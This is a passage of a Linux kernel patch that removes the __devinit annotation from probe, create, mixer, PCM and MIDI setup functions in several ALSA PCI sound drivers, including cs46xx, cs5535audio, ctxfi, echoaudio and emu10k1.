+int snd_cs46xx_gameport(struct snd_cs46xx *chip)
 {
 	struct gameport *gp;
 
@@ -2649,7 +2649,7 @@ static inline void snd_cs46xx_remove_gameport(struct snd_cs46xx *chip)
 	}
 }
 #else
-int __devinit snd_cs46xx_gameport(struct snd_cs46xx *chip) { return -ENOSYS; }
+int snd_cs46xx_gameport(struct snd_cs46xx *chip) { return -ENOSYS; }
 static inline void snd_cs46xx_remove_gameport(struct snd_cs46xx *chip) { }
 #endif /* CONFIG_GAMEPORT */
 
@@ -2674,7 +2674,7 @@ static struct snd_info_entry_ops snd_cs46xx_proc_io_ops = {
 	.read = snd_cs46xx_io_read,
 };
 
-static int __devinit snd_cs46xx_proc_init(struct snd_card *card, struct snd_cs46xx *chip)
+static int snd_cs46xx_proc_init(struct snd_card *card, struct snd_cs46xx *chip)
 {
 	struct snd_info_entry *entry;
 	int idx;
@@ -3061,7 +3061,7 @@ static void cs46xx_enable_stream_irqs(struct snd_cs46xx *chip)
 	snd_cs46xx_poke(chip, BA1_CIE, tmp);	/* capture interrupt enable */
 }
 
-int __devinit snd_cs46xx_start_dsp(struct snd_cs46xx *chip)
+int snd_cs46xx_start_dsp(struct snd_cs46xx *chip)
 {	
 	unsigned int tmp;
 	/*
@@ -3717,7 +3717,7 @@ SIMPLE_DEV_PM_OPS(snd_cs46xx_pm, snd_cs46xx_suspend, snd_cs46xx_resume);
 /*
  */
 
-int __devinit snd_cs46xx_create(struct snd_card *card,
+int snd_cs46xx_create(struct snd_card *card,
 		      struct pci_dev * pci,
 		      int external_amp, int thinkpad,
 		      struct snd_cs46xx ** rchip)
diff --git a/sound/pci/cs5530.c b/sound/pci/cs5530.c
index ed68917..94aee6e 100644
--- a/sound/pci/cs5530.c
+++ b/sound/pci/cs5530.c
@@ -94,7 +94,7 @@ static void __devexit snd_cs5530_remove(struct pci_dev *pci)
 	pci_set_drvdata(pci, NULL);
 }
 
-static u8 __devinit snd_cs5530_mixer_read(unsigned long io, u8 reg)
+static u8 snd_cs5530_mixer_read(unsigned long io, u8 reg)
 {
 	outb(reg, io + 4);
 	udelay(20);
@@ -103,7 +103,7 @@ static u8 __devinit snd_cs5530_mixer_read(unsigned long io, u8 reg)
 	return reg;
 }
 
-static int __devinit snd_cs5530_create(struct snd_card *card,
+static int snd_cs5530_create(struct snd_card *card,
 				       struct pci_dev *pci,
 				       struct snd_cs5530 **rchip)
 {
@@ -250,7 +250,7 @@ static int __devinit snd_cs5530_create(struct snd_card *card,
 	return 0;
 }
 
-static int __devinit snd_cs5530_probe(struct pci_dev *pci,
+static int snd_cs5530_probe(struct pci_dev *pci,
 					const struct pci_device_id *pci_id)
 {
 	static int dev;
diff --git a/sound/pci/cs5535audio/cs5535audio.c b/sound/pci/cs5535audio/cs5535audio.c
index b3f25e4..fa953e2 100644
--- a/sound/pci/cs5535audio/cs5535audio.c
+++ b/sound/pci/cs5535audio/cs5535audio.c
@@ -144,7 +144,7 @@ static unsigned short snd_cs5535audio_ac97_codec_read(struct snd_ac97 *ac97,
 	return snd_cs5535audio_codec_read(cs5535au, reg);
 }
 
-static int __devinit snd_cs5535audio_mixer(struct cs5535audio *cs5535au)
+static int snd_cs5535audio_mixer(struct cs5535audio *cs5535au)
 {
 	struct snd_card *card = cs5535au->card;
 	struct snd_ac97_bus *pbus;
@@ -270,7 +270,7 @@ static int snd_cs5535audio_dev_free(struct snd_device *device)
 	return snd_cs5535audio_free(cs5535au);
 }
 
-static int __devinit snd_cs5535audio_create(struct snd_card *card,
+static int snd_cs5535audio_create(struct snd_card *card,
 					    struct pci_dev *pci,
 					    struct cs5535audio **rcs5535au)
 {
@@ -338,7 +338,7 @@ pcifail:
 	return err;
 }
 
-static int __devinit snd_cs5535audio_probe(struct pci_dev *pci,
+static int snd_cs5535audio_probe(struct pci_dev *pci,
 					   const struct pci_device_id *pci_id)
 {
 	static int dev;
diff --git a/sound/pci/cs5535audio/cs5535audio.h b/sound/pci/cs5535audio/cs5535audio.h
index bb3cc64..536a6bb 100644
--- a/sound/pci/cs5535audio/cs5535audio.h
+++ b/sound/pci/cs5535audio/cs5535audio.h
@@ -97,9 +97,9 @@ struct cs5535audio {
 extern const struct dev_pm_ops snd_cs5535audio_pm;
 
 #ifdef CONFIG_OLPC
-void __devinit olpc_prequirks(struct snd_card *card,
+void olpc_prequirks(struct snd_card *card,
 		struct snd_ac97_template *ac97);
-int __devinit olpc_quirks(struct snd_card *card, struct snd_ac97 *ac97);
+int olpc_quirks(struct snd_card *card, struct snd_ac97 *ac97);
 void __devexit olpc_quirks_cleanup(void);
 void olpc_analog_input(struct snd_ac97 *ac97, int on);
 void olpc_mic_bias(struct snd_ac97 *ac97, int on);
@@ -133,7 +133,7 @@ static inline void olpc_capture_open(struct snd_ac97 *ac97) { }
 static inline void olpc_capture_close(struct snd_ac97 *ac97) { }
 #endif
 
-int __devinit snd_cs5535audio_pcm(struct cs5535audio *cs5535audio);
+int snd_cs5535audio_pcm(struct cs5535audio *cs5535audio);
 
 #endif /* __SOUND_CS5535AUDIO_H */
 
diff --git a/sound/pci/cs5535audio/cs5535audio_olpc.c b/sound/pci/cs5535audio/cs5535audio_olpc.c
index 50da49b..149e21e 100644
--- a/sound/pci/cs5535audio/cs5535audio_olpc.c
+++ b/sound/pci/cs5535audio/cs5535audio_olpc.c
@@ -133,7 +133,7 @@ static struct snd_kcontrol_new olpc_cs5535audio_ctls[] __devinitdata = {
 },
 };
 
-void __devinit olpc_prequirks(struct snd_card *card,
+void olpc_prequirks(struct snd_card *card,
 		struct snd_ac97_template *ac97)
 {
 	if (!machine_is_olpc())
@@ -144,7 +144,7 @@ void __devinit olpc_prequirks(struct snd_card *card,
 		ac97->scaps |= AC97_SCAP_INV_EAPD;
 }
 
-int __devinit olpc_quirks(struct snd_card *card, struct snd_ac97 *ac97)
+int olpc_quirks(struct snd_card *card, struct snd_ac97 *ac97)
 {
 	struct snd_ctl_elem_id elem;
 	int i, err;
diff --git a/sound/pci/cs5535audio/cs5535audio_pcm.c b/sound/pci/cs5535audio/cs5535audio_pcm.c
index dbf94b1..9ab01a7 100644
--- a/sound/pci/cs5535audio/cs5535audio_pcm.c
+++ b/sound/pci/cs5535audio/cs5535audio_pcm.c
@@ -422,7 +422,7 @@ static struct cs5535audio_dma_ops snd_cs5535audio_capture_dma_ops = {
         .read_dma_pntr = cs5535audio_capture_read_dma_pntr,
 };
 
-int __devinit snd_cs5535audio_pcm(struct cs5535audio *cs5535au)
+int snd_cs5535audio_pcm(struct cs5535audio *cs5535au)
 {
 	struct snd_pcm *pcm;
 	int err;
diff --git a/sound/pci/ctxfi/ctatc.c b/sound/pci/ctxfi/ctatc.c
index a2f997a..92054e7 100644
--- a/sound/pci/ctxfi/ctatc.c
+++ b/sound/pci/ctxfi/ctatc.c
@@ -1249,7 +1249,7 @@ static int atc_dev_free(struct snd_device *dev)
 	return ct_atc_destroy(atc);
 }
 
-static int __devinit atc_identify_card(struct ct_atc *atc, unsigned int ssid)
+static int atc_identify_card(struct ct_atc *atc, unsigned int ssid)
 {
 	const struct snd_pci_quirk *p;
 	const struct snd_pci_quirk *list;
@@ -1296,7 +1296,7 @@ static int __devinit atc_identify_card(struct ct_atc *atc, unsigned int ssid)
 	return 0;
 }
 
-int __devinit ct_atc_create_alsa_devs(struct ct_atc *atc)
+int ct_atc_create_alsa_devs(struct ct_atc *atc)
 {
 	enum CTALSADEVS i;
 	int err;
@@ -1319,7 +1319,7 @@ int __devinit ct_atc_create_alsa_devs(struct ct_atc *atc)
 	return 0;
 }
 
-static int __devinit atc_create_hw_devs(struct ct_atc *atc)
+static int atc_create_hw_devs(struct ct_atc *atc)
 {
 	struct hw *hw;
 	struct card_conf info = {0};
@@ -1665,7 +1665,7 @@ static struct ct_atc atc_preset __devinitdata = {
  *  Returns 0 if succeeds, or negative error code if fails.
  */
 
-int __devinit ct_atc_create(struct snd_card *card, struct pci_dev *pci,
+int ct_atc_create(struct snd_card *card, struct pci_dev *pci,
 			    unsigned int rsr, unsigned int msr,
 			    int chip_type, unsigned int ssid,
 			    struct ct_atc **ratc)
diff --git a/sound/pci/ctxfi/ctatc.h b/sound/pci/ctxfi/ctatc.h
index 69b51f9..490206b 100644
--- a/sound/pci/ctxfi/ctatc.h
+++ b/sound/pci/ctxfi/ctatc.h
@@ -152,9 +152,9 @@ struct ct_atc {
 };
 
 
-int __devinit ct_atc_create(struct snd_card *card, struct pci_dev *pci,
+int ct_atc_create(struct snd_card *card, struct pci_dev *pci,
 			    unsigned int rsr, unsigned int msr, int chip_type,
 			    unsigned int subsysid, struct ct_atc **ratc);
-int __devinit ct_atc_create_alsa_devs(struct ct_atc *atc);
+int ct_atc_create_alsa_devs(struct ct_atc *atc);
 
 #endif /* CTATC_H */
diff --git a/sound/pci/ctxfi/cthardware.c b/sound/pci/ctxfi/cthardware.c
index 8e64f48..e1c854a 100644
--- a/sound/pci/ctxfi/cthardware.c
+++ b/sound/pci/ctxfi/cthardware.c
@@ -20,7 +20,7 @@
 #include "cthw20k2.h"
 #include <linux/bug.h>
 
-int __devinit create_hw_obj(struct pci_dev *pci, enum CHIPTYP chip_type,
+int create_hw_obj(struct pci_dev *pci, enum CHIPTYP chip_type,
 			    enum CTCARDS model, struct hw **rhw)
 {
 	int err;
diff --git a/sound/pci/ctxfi/cthw20k1.c b/sound/pci/ctxfi/cthw20k1.c
index 4507f70..65a0169 100644
--- a/sound/pci/ctxfi/cthw20k1.c
+++ b/sound/pci/ctxfi/cthw20k1.c
@@ -2275,7 +2275,7 @@ static struct hw ct20k1_preset __devinitdata = {
 	.get_wc = get_wc,
 };
 
-int __devinit create_20k1_hw_obj(struct hw **rhw)
+int create_20k1_hw_obj(struct hw **rhw)
 {
 	struct hw20k1 *hw20k1;
 
diff --git a/sound/pci/ctxfi/cthw20k2.c b/sound/pci/ctxfi/cthw20k2.c
index b9c9349..3f2a3ad 100644
--- a/sound/pci/ctxfi/cthw20k2.c
+++ b/sound/pci/ctxfi/cthw20k2.c
@@ -2345,7 +2345,7 @@ static struct hw ct20k2_preset __devinitdata = {
 	.get_wc = get_wc,
 };
 
-int __devinit create_20k2_hw_obj(struct hw **rhw)
+int create_20k2_hw_obj(struct hw **rhw)
 {
 	struct hw20k2 *hw20k2;
 
diff --git a/sound/pci/ctxfi/xfi.c b/sound/pci/ctxfi/xfi.c
index f5a311c..8275ac3 100644
--- a/sound/pci/ctxfi/xfi.c
+++ b/sound/pci/ctxfi/xfi.c
@@ -56,8 +56,7 @@ static DEFINE_PCI_DEVICE_TABLE(ct_pci_dev_ids) = {
 };
 MODULE_DEVICE_TABLE(pci, ct_pci_dev_ids);
 
-static int __devinit
-ct_card_probe(struct pci_dev *pci, const struct pci_device_id *pci_id)
+static int ct_card_probe(struct pci_dev *pci, const struct pci_device_id *pci_id)
 {
 	static int dev;
 	struct snd_card *card;
diff --git a/sound/pci/echoaudio/echoaudio.c b/sound/pci/echoaudio/echoaudio.c
index d9181bd..3ba1585 100644
--- a/sound/pci/echoaudio/echoaudio.c
+++ b/sound/pci/echoaudio/echoaudio.c
@@ -907,7 +907,7 @@ static int snd_echo_preallocate_pages(struct snd_pcm *pcm, struct device *dev)
 
 
 /*<--snd_echo_probe() */
-static int __devinit snd_echo_new_pcm(struct echoaudio *chip)
+static int snd_echo_new_pcm(struct echoaudio *chip)
 {
 	struct snd_pcm *pcm;
 	int err;
@@ -1940,7 +1940,7 @@ static int snd_echo_dev_free(struct snd_device *device)
 
 
 /* <--snd_echo_probe() */
-static __devinit int snd_echo_create(struct snd_card *card,
+static int snd_echo_create(struct snd_card *card,
 				     struct pci_dev *pci,
 				     struct echoaudio **rchip)
 {
@@ -2040,7 +2040,7 @@ static __devinit int snd_echo_create(struct snd_card *card,
 
 
 /* constructor */
-static int __devinit snd_echo_probe(struct pci_dev *pci,
+static int snd_echo_probe(struct pci_dev *pci,
 				    const struct pci_device_id *pci_id)
 {
 	static int dev;
diff --git a/sound/pci/echoaudio/echoaudio.h b/sound/pci/echoaudio/echoaudio.h
index e158369..8e55b8e 100644
--- a/sound/pci/echoaudio/echoaudio.h
+++ b/sound/pci/echoaudio/echoaudio.h
@@ -475,7 +475,7 @@ static int enable_midi_input(struct echoaudio *chip, char enable);
 static void snd_echo_midi_output_trigger(
 			struct snd_rawmidi_substream *substream, int up);
 static int midi_service_irq(struct echoaudio *chip);
-static int __devinit snd_echo_midi_create(struct snd_card *card,
+static int snd_echo_midi_create(struct snd_card *card,
 					  struct echoaudio *chip);
 #endif
 
diff --git a/sound/pci/echoaudio/midi.c b/sound/pci/echoaudio/midi.c
index a953d14..e87265f 100644
--- a/sound/pci/echoaudio/midi.c
+++ b/sound/pci/echoaudio/midi.c
@@ -307,7 +307,7 @@ static struct snd_rawmidi_ops snd_echo_midi_output = {
 
 
 /* <--snd_echo_probe() */
-static int __devinit snd_echo_midi_create(struct snd_card *card,
+static int snd_echo_midi_create(struct snd_card *card,
 					  struct echoaudio *chip)
 {
 	int err;
diff --git a/sound/pci/emu10k1/emu10k1.c b/sound/pci/emu10k1/emu10k1.c
index 6e3cbb3..77b316d 100644
--- a/sound/pci/emu10k1/emu10k1.c
+++ b/sound/pci/emu10k1/emu10k1.c
@@ -99,7 +99,7 @@ static DEFINE_PCI_DEVICE_TABLE(snd_emu10k1_ids) = {
 
 MODULE_DEVICE_TABLE(pci, snd_emu10k1_ids);
 
-static int __devinit snd_card_emu10k1_probe(struct pci_dev *pci,
+static int snd_card_emu10k1_probe(struct pci_dev *pci,
 					    const struct pci_device_id *pci_id)
 {
 	static int dev;
diff --git a/sound/pci/emu10k1/emu10k1_main.c b/sound/pci/emu10k1/emu10k1_main.c
index c21adb6..09dcc1f 100644
--- a/sound/pci/emu10k1/emu10k1_main.c
+++ b/sound/pci/emu10k1/emu10k1_main.c
@@ -1738,7 +1738,7 @@ static struct snd_emu_chip_details emu_chip_details[] = {
 	{ } /* terminator */
 };
 
-int __devinit snd_emu10k1_create(struct snd_card *card,
+int snd_emu10k1_create(struct snd_card *card,
 		       struct pci_dev *pci,
 		       unsigned short extin_mask,
 		       unsigned short extout_mask,
@@ -2025,7 +2025,7 @@ static unsigned char saved_regs_audigy[] = {
 	0xff /* end */
 };
 
-static int __devinit alloc_pm_buffer(struct snd_emu10k1 *emu)
+static int alloc_pm_buffer(struct snd_emu10k1 *emu)
 {
 	int size;
 
diff --git a/sound/pci/emu10k1/emu10k1x.c b/sound/pci/emu10k1/emu10k1x.c
index f2c0620..45c7acb 100644
--- a/sound/pci/emu10k1/emu10k1x.c
+++ b/sound/pci/emu10k1/emu10k1x.c
@@ -842,7 +842,7 @@ static const struct snd_pcm_chmap_elem clfe_map[] = {
 	{ }
 };
 
-static int __devinit snd_emu10k1x_pcm(struct emu10k1x *emu, int device, struct snd_pcm **rpcm)
+static int snd_emu10k1x_pcm(struct emu10k1x *emu, int device, struct snd_pcm **rpcm)
 {
 	struct snd_pcm *pcm;
 	const struct snd_pcm_chmap_elem *map = NULL;
@@ -902,7 +902,7 @@ static int __devinit snd_emu10k1x_pcm(struct emu10k1x *emu, int device, struct s
 	return 0;
 }
 
-static int __devinit snd_emu10k1x_create(struct snd_card *card,
+static int snd_emu10k1x_create(struct snd_card *card,
 					 struct pci_dev *pci,
 					 struct emu10k1x **rchip)
 {
@@ -1066,7 +1066,7 @@ static void snd_emu10k1x_proc_reg_write(struct snd_info_entry *entry,
 	}
 }
 
-static int __devinit snd_emu10k1x_proc_init(struct emu10k1x * emu)
+static int snd_emu10k1x_proc_init(struct emu10k1x * emu)
 {
 	struct snd_info_entry *entry;
 	
@@ -1194,7 +1194,7 @@ static struct snd_kcontrol_new snd_emu10k1x_spdif_control =
 	.put =          snd_emu10k1x_spdif_put
 };
 
-static int __devinit snd_emu10k1x_mixer(struct emu10k1x *emu)
+static int snd_emu10k1x_mixer(struct emu10k1x *emu)
 {
 	int err;
 	struct snd_kcontrol *kctl;
@@ -1507,7 +1507,7 @@ static void snd_emu10k1x_midi_free(struct snd_rawmidi *rmidi)
 	midi->rmidi = NULL;
 }
 
-static int __devinit emu10k1x_midi_init(struct emu10k1x *emu,
+static int emu10k1x_midi_init(struct emu10k1x *emu,
 					struct emu10k1x_midi *midi, int device, char *name)
 {
 	struct snd_rawmidi *rmidi;
@@ -1531,7 +1531,7 @@ static int __devinit emu10k1x_midi_init(struct emu10k1x *emu,
 	return 0;
 }
 
-static int __devinit snd_emu10k1x_midi(struct emu10k1x *emu)
+static int snd_emu10k1x_midi(struct emu10k1x *emu)
 {
 	struct emu10k1x_midi *midi = &emu->midi;
 	int err;
@@ -1548,7 +1548,7 @@ static int __devinit snd_emu10k1x_midi(struct emu10k1x *emu)
 	return 0;
 }
 
-static int __devinit snd_emu10k1x_probe(struct pci_dev *pci,
+static int snd_emu10k1x_probe(struct pci_dev *pci,
 					const struct pci_device_id *pci_id)
 {
 	static int dev;
diff --git a/sound/pci/emu10k1/emufx.c b/sound/pci/emu10k1/emufx.c
index 5241995..a9ad7fb 100644
--- a/sound/pci/emu10k1/emufx.c
+++ b/sound/pci/emu10k1/emufx.c
@@ -1073,8 +1073,7 @@ static int snd_emu10k1_ipcm_peek(struct snd_emu10k1 *emu,
 #define SND_EMU10K1_PLAYBACK_CHANNELS	8
 #define SND_EMU10K1_CAPTURE_CHANNELS	4
 
-static void __devinit
-snd_emu10k1_init_mono_control(struct snd_emu10k1_fx8010_control_gpr *ctl,
+static void snd_emu10k1_init_mono_control(struct snd_emu10k1_fx8010_control_gpr *ctl,
 			      const char *name, int gpr, int defval)
 {
 	ctl->id.iface = SNDRV_CTL_ELEM_IFACE_MIXER;
@@ -1094,8 +1093,7 @@ snd_emu10k1_init_mono_control(struct snd_emu10k1_fx8010_control_gpr *ctl,
 	}
 }
 
-static void __devinit
-snd_emu10k1_init_stereo_control(struct snd_emu10k1_fx8010_control_gpr *ctl,
+static void snd_emu10k1_init_stereo_control(struct snd_emu10k1_fx8010_control_gpr *ctl,
 				const char *name, int gpr, int defval)
 {
 	ctl->id.iface = SNDRV_CTL_ELEM_IFACE_MIXER;
@@ -1116,8 +1114,7 @@ snd_emu10k1_init_stereo_control(struct snd_emu10k1_fx8010_control_gpr *ctl,
 	}
 }
 
-static void __devinit
-snd_emu10k1_init_mono_onoff_control(struct snd_emu10k1_fx8010_control_gpr *ctl,
+static void snd_emu10k1_init_mono_onoff_control(struct snd_emu10k1_fx8010_control_gpr *ctl,
 				    const char *name, int gpr, int defval)
 {
 	ctl->id.iface = SNDRV_CTL_ELEM_IFACE_MIXER;
@@ -1129,8 +1126,7 @@ snd_emu10k1_init_mono_onoff_control(struct snd_emu10k1_fx8010_control_gpr *ctl,
 	ctl->translation = EMU10K1_GPR_TRANSLATION_ONOFF;
 }
 
-static void __devinit
-snd_emu10k1_init_stereo_onoff_control(struct snd_emu10k1_fx8010_control_gpr *ctl,
+static void snd_emu10k1_init_stereo_onoff_control(struct snd_emu10k1_fx8010_control_gpr *ctl,
 				      const char *name, int gpr, int defval)
 {
 	ctl->id.iface = SNDRV_CTL_ELEM_IFACE_MIXER;
@@ -1168,7 +1164,7 @@ static int snd_emu10k1_audigy_dsp_convert_32_to_2x16(
  * initial DSP configuration for Audigy
  */
 
-static int __devinit _snd_emu10k1_audigy_init_efx(struct snd_emu10k1 *emu)
+static int _snd_emu10k1_audigy_init_efx(struct snd_emu10k1 *emu)
 {
 	int err, i, z, gpr, nctl;
 	int bit_shifter16;
@@ -1757,14 +1753,14 @@ A_OP(icode, &ptr, iMAC0, A_GPR(var), A_GPR(var), A_GPR(vol), A_EXTIN(input))
 
 /* when volume = max, then copy only to avoid volume modification */
 /* with iMAC0 (negative values) */
-static void __devinit _volume(struct snd_emu10k1_fx8010_code *icode, u32 *ptr, u32 dst, u32 src, u32 vol)
+static void _volume(struct snd_emu10k1_fx8010_code *icode, u32 *ptr, u32 dst, u32 src, u32 vol)
 {
 	OP(icode, ptr, iMAC0, dst, C_00000000, src, vol);
 	OP(icode, ptr, iANDXOR, C_00000000, vol, C_ffffffff, C_7fffffff);
 	OP(icode, ptr, iSKIP, GPR_COND, GPR_COND, CC_REG_NONZERO, C_00000001);
 	OP(icode, ptr, iACC3, dst, src, C_00000000, C_00000000);
 }
-static void __devinit _volume_add(struct snd_emu10k1_fx8010_code *icode, u32 *ptr, u32 dst, u32 src, u32 vol)
+static void _volume_add(struct snd_emu10k1_fx8010_code *icode, u32 *ptr, u32 dst, u32 src, u32 vol)
 {
 	OP(icode, ptr, iANDXOR, C_00000000, vol, C_ffffffff, C_7fffffff);
 	OP(icode, ptr, iSKIP, GPR_COND, GPR_COND, CC_REG_NONZERO, C_00000002);
@@ -1772,7 +1768,7 @@ static void __devinit _volume_add(struct snd_emu10k1_fx8010_code *icode, u32 *pt
 	OP(icode, ptr, iSKIP, C_00000000, C_7fffffff, C_7fffffff, C_00000001);
 	OP(icode, ptr, iMAC0, dst, dst, src, vol);
 }
-static void __devinit _volume_out(struct snd_emu10k1_fx8010_code *icode, u32 *ptr, u32 dst, u32 src, u32 vol)
+static void _volume_out(struct snd_emu10k1_fx8010_code *icode, u32 *ptr, u32 dst, u32 src, u32 vol)
 {
 	OP(icode, ptr, iANDXOR, C_00000000, vol, C_ffffffff, C_7fffffff);
 	OP(icode, ptr, iSKIP, GPR_COND, GPR_COND, CC_REG_NONZERO, C_00000002);
@@ -1803,7 +1799,7 @@ static void __devinit _volume_out(struct snd_emu10k1_fx8010_code *icode, u32 *pt
 		_SWITCH_NEG(icode, ptr, GPR(dst), GPR(src))
 
 
-static int __devinit _snd_emu10k1_init_efx(struct snd_emu10k1 *emu)
+static int _snd_emu10k1_init_efx(struct snd_emu10k1 *emu)
 {
 	int err, i, z, gpr, tmp, playback, capture;
 	u32 ptr;
@@ -2373,7 +2369,7 @@ static int __devinit _snd_emu10k1_init_efx(struct snd_emu10k1 *emu)
 	return err;
 }
 
-int __devinit snd_emu10k1_init_efx(struct snd_emu10k1 *emu)
+int snd_emu10k1_init_efx(struct snd_emu10k1 *emu)
 {
 	spin_lock_init(&emu->fx8010.irq_lock);
 	INIT_LIST_HEAD(&emu->fx8010.gpr_ctl);
@@ -2626,7 +2622,7 @@ static int snd_emu10k1_fx8010_release(struct snd_hwdep * hw, struct file *file)
 	return 0;
 }
 
-int __devinit snd_emu10k1_fx8010_new(struct snd_emu10k1 *emu, int device, struct snd_hwdep ** rhwdep)
+int snd_emu10k1_fx8010_new(struct snd_emu10k1 *emu, int device, struct snd_hwdep ** rhwdep)
 {
 	struct snd_hwdep *hw;
 	int err;
@@ -2647,7 +2643,7 @@ int __devinit snd_emu10k1_fx8010_new(struct snd_emu10k1 *emu, int device, struct
 }
 
 #ifdef CONFIG_PM_SLEEP
-int __devinit snd_emu10k1_efx_alloc_pm_buffer(struct snd_emu10k1 *emu)
+int snd_emu10k1_efx_alloc_pm_buffer(struct snd_emu10k1 *emu)
 {
 	int len;
 
diff --git a/sound/pci/emu10k1/emumixer.c b/sound/pci/emu10k1/emumixer.c
index 9d890a5..00ff418 100644
--- a/sound/pci/emu10k1/emumixer.c
+++ b/sound/pci/emu10k1/emumixer.c
@@ -1716,7 +1716,7 @@ static int rename_ctl(struct snd_card *card, const char *src, const char *dst)
 	return -ENOENT;
 }
 
-int __devinit snd_emu10k1_mixer(struct snd_emu10k1 *emu,
+int snd_emu10k1_mixer(struct snd_emu10k1 *emu,
 				int pcm_device, int multi_device)
 {
 	int err, pcm;
diff --git a/sound/pci/emu10k1/emumpu401.c b/sound/pci/emu10k1/emumpu401.c
index bab5648..1ec9124 100644
--- a/sound/pci/emu10k1/emumpu401.c
+++ b/sound/pci/emu10k1/emumpu401.c
@@ -326,7 +326,7 @@ static void snd_emu10k1_midi_free(struct snd_rawmidi *rmidi)
 	midi->rmidi = NULL;
 }
 
-static int __devinit emu10k1_midi_init(struct snd_emu10k1 *emu, struct snd_emu10k1_midi *midi, int device, char *name)
+static int emu10k1_midi_init(struct snd_emu10k1 *emu, struct snd_emu10k1_midi *midi, int device, char *name)
 {
 	struct snd_rawmidi *rmidi;
 	int err;
@@ -349,7 +349,7 @@ static int __devinit emu10k1_midi_init(struct snd_emu10k1 *emu, struct snd_emu10
 	return 0;
 }
 
-int __devinit snd_emu10k1_midi(struct snd_emu10k1 *emu)
+int snd_emu10k1_midi(struct snd_emu10k1 *emu)
 {
 	struct snd_emu10k1_midi *midi = &emu->midi;
 	int err;
@@ -366,7 +366,7 @@ int __devinit snd_emu10k1_midi(struct snd_emu10k1 *emu)
 	return 0;
 }
 
-int __devinit snd_emu10k1_audigy_midi(struct snd_emu10k1 *emu)
+int snd_emu10k1_audigy_midi(struct snd_emu10k1 *emu)
 {
 	struct snd_emu10k1_midi *midi;
 	int err;
diff --git a/sound/pci/emu10k1/emupcm.c b/sound/pci/emu10k1/emupcm.c
index 0e6664f..febfa3b 100644
--- a/sound/pci/emu10k1/emupcm.c
+++ b/sound/pci/emu10k1/emupcm.c
@@ -1391,7 +1391,7 @@ static struct snd_pcm_ops snd_emu10k1_efx_playback_ops = {
 	.page =			snd_pcm_sgbuf_ops_page,
 };
 
-int __devinit snd_emu10k1_pcm(struct snd_emu10k1 * emu, int device, struct snd_pcm ** rpcm)
+int snd_emu10k1_pcm(struct snd_emu10k1 * emu, int device, struct snd_pcm ** rpcm)
 {
 	struct snd_pcm *pcm;
 	struct snd_pcm_substream *substream;
@@ -1426,7 +1426,7 @@ int __devinit snd_emu10k1_pcm(struct snd_emu10k1 * emu, int device, struct snd_p
 	return 0;
 }
 
-int __devinit snd_emu10k1_pcm_multi(struct snd_emu10k1 * emu, int device, struct snd_pcm ** rpcm)
+int snd_emu10k1_pcm_multi(struct snd_emu10k1 * emu, int device, struct snd_pcm ** rpcm)
 {
 	struct snd_pcm *pcm;
 	struct snd_pcm_substream *substream;
@@ -1469,7 +1469,7 @@ static struct snd_pcm_ops snd_emu10k1_capture_mic_ops = {
 	.pointer =		snd_emu10k1_capture_pointer,
 };
 
-int __devinit snd_emu10k1_pcm_mic(struct snd_emu10k1 * emu, int device, struct snd_pcm ** rpcm)
+int snd_emu10k1_pcm_mic(struct snd_emu10k1 * emu, int device, struct snd_pcm ** rpcm)
 {
 	struct snd_pcm *pcm;
 	int err;
@@ -1810,7 +1810,7 @@ static struct snd_pcm_ops snd_emu10k1_fx8010_playback_ops = {
 	.ack =			snd_emu10k1_fx8010_playback_transfer,
 };
 
-int __devinit snd_emu10k1_pcm_efx(struct snd_emu10k1 * emu, int device, struct snd_pcm ** rpcm)
+int snd_emu10k1_pcm_efx(struct snd_emu10k1 * emu, int device, struct snd_pcm ** rpcm)
 {
 	struct snd_pcm *pcm;
 	struct snd_kcontrol *kctl;
diff --git a/sound/pci/emu10k1/emuproc.c b/sound/pci/emu10k1/emuproc.c
index bc38dd4..b51d248 100644
--- a/sound/pci/emu10k1/emuproc.c
+++ b/sound/pci/emu10k1/emuproc.c
@@ -577,7 +577,7 @@ static struct snd_info_entry_ops snd_emu10k1_proc_ops_fx8010 = {
 	.read = snd_emu10k1_fx8010_read,
 };
 
-int __devinit snd_emu10k1_proc_init(struct snd_emu10k1 * emu)
+int snd_emu10k1_proc_init(struct snd_emu10k1 * emu)
 {
 	struct snd_info_entry *entry;
 #ifdef CONFIG_SND_DEBUG
diff --git a/sound/pci/emu10k1/p16v.c b/sound/pci/emu10k1/p16v.c
index 88cec6b..3f08dd7 100644
--- a/sound/pci/emu10k1/p16v.c
+++ b/sound/pci/emu10k1/p16v.c
@@ -637,7 +637,7 @@ int snd_p16v_free(struct snd_emu10k1 *chip)
 	return 0;
 }
 
-int __devinit snd_p16v_pcm(struct snd_emu10k1 *emu, int device, struct snd_pcm **rpcm)
+int snd_p16v_pcm(struct snd_emu10k1 *emu, int device, struct snd_pcm **rpcm)
 {
 	struct snd_pcm *pcm;
 	struct snd_pcm_substream *substream;
@@ -880,7 +880,7 @@ static struct snd_kcontrol_new p16v_mixer_controls[] __devinitdata = {
 };
 
 
-int __devinit snd_p16v_mixer(struct snd_emu10k1 *emu)
+int snd_p16v_mixer(struct snd_emu10k1 *emu)
 {
 	int i, err;
         struct snd_card *card = emu->card;
@@ -897,7 +897,7 @@ int __devinit snd_p16v_mixer(struct snd_emu10k1 *emu)
 
 #define NUM_CHS	1	/* up to 4, but only first channel is used */
 
-int __devinit snd_p16v_alloc_pm_buffer(struct snd_emu10k1 *emu)
+int snd_p16v_alloc_pm_buffer(struct snd_emu10k1 *emu)
 {
 	emu->p16v_saved = vmalloc(NUM_CHS * 4 * 0x80);
 	if (! emu->p16v_saved)
diff --git a/sound/pci/emu10k1/timer.c b/sound/pci/emu10k1/timer.c
index 72321e9..b69a7f8 100644
--- a/sound/pci/emu10k1/timer.c
+++ b/sound/pci/emu10k1/timer.c
@@ -75,7 +75,7 @@ static struct snd_timer_hardware snd_emu10k1_timer_hw = {
 	.precise_resolution = snd_emu10k1_timer_precise_resolution,
 };
 
-int __devinit snd_emu10k1_timer(struct snd_emu10k1 *emu, int device)
+int snd_emu10k1_timer(struct snd_emu10k1 *emu, int device)
 {
 	struct snd_timer *timer = NULL;
 	struct snd_timer_id tid;
diff --git a/sound/pci/ens1370.c b/sound/pci/ens1370.c
index f631705..5ed22dc 100644
--- a/sound/pci/ens1370.c
+++ b/sound/pci/ens1370.c
@@ -1268,7 +1268,7 @@ static const struct snd_pcm_chmap_elem surround_map[] = {
 	{ }
 };
 
-static int __devinit snd_ensoniq_pcm(struct ensoniq * ensoniq, int device,
+static int snd_ensoniq_pcm(struct ensoniq * ensoniq, int device,
 				     struct snd_pcm ** rpcm)
 {
 	struct snd_pcm *pcm;
